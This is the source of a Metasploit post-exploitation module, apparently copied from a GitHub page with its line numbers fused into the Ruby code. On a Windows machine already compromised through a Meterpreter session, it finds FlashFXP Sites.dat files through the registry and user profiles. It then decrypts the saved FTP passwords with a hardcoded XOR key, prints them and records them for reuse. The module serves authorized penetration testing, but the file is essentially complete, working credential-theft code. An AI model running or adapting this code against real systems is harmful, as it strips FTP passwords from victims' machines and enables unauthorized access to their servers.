Path: blob/master/modules/post/windows/gather/credentials/flashfxp.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FlashFXP Saved Password Extraction',15'Description' => %q{16This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It17finds saved FTP connections in the Sites.dat file.18},19'License' => MSF_LICENSE,20'Author' => [ 'theLightCosine'],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27},28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31core_channel_eof32core_channel_open33core_channel_read34core_channel_write35]36}37}38)39)40end4142def run43# Checks if the Site data is stored in a generic location for all users44flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'45flash_reg_ver = registry_enumkeys(flash_reg.to_s)4647# Ini paths48@fxppaths = []4950unless flash_reg_ver.nil?51software_key = "#{flash_reg}\\#{flash_reg_ver.join}"52generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''53unless generic_path.include? '%APPDATA%'54@fxppaths << generic_path + '\\Sites.dat'55end56end5758grab_user_profiles.each do |user|59next if user['AppData'].nil?6061tmpath = user['AppData'] + '\\FlashFXP\\'62get_ver_dirs(tmpath)63end6465@fxppaths.each do |fxp|66get_ini(fxp)67end68end6970def get_ver_dirs(path)71session.fs.dir.foreach(path) do |sub|72next if sub =~ /^(\.|\.\.)$/7374@fxppaths << "#{path}#{sub}\\Sites.dat"75end76rescue StandardError77print_error("The following path could not be accessed or does not exist: #{path}")78end7980def get_ini(filename)81config = client.fs.file.new(filename, 'r')82parse = config.read83ini = Rex::Parser::Ini.from_s(parse)8485if ini == {}86print_error("Unable to parse file, may be encrypted using external password: #{filename}")87end8889ini.each_key do |group|90host = ini[group]['IP']91username = ini[group]['user']92epass = ini[group]['pass']93port = ini[group]['port']94next if epass.nil? || (epass == '')9596passwd = decrypt(epass)9798print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")99service_data = {100address: Rex::Socket.getaddress(host),101port: port,102protocol: 'tcp',103service_name: 'ftp',104workspace_id: myworkspace_id105}106107credential_data = {108origin_type: :session,109session_id: session_db_id,110post_reference_name: refname,111username: username,112private_data: passwd,113private_type: :password114}115116credential_core = create_credential(credential_data.merge(service_data))117118login_data = {119core: credential_core,120access_level: 'User',121status: Metasploit::Model::Login::Status::UNTRIED122}123124create_credential_login(login_data.merge(service_data))125end126rescue StandardError127print_status("Either could not find or could not open file #{filename}")128end129130def decrypt(pwd)131key = 'yA36zA48dEhfrvghGRg57h5UlDv3'132pass = ''133cipher = [pwd].pack('H*')134135(0..cipher.length - 2).each do |index|136xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first137if ((xored - cipher[index, 1].unpack('C').first < 0))138xored += 255139end140pass << (xored - cipher[index, 1].unpack('C').first).chr141end142return pass143end144end145146147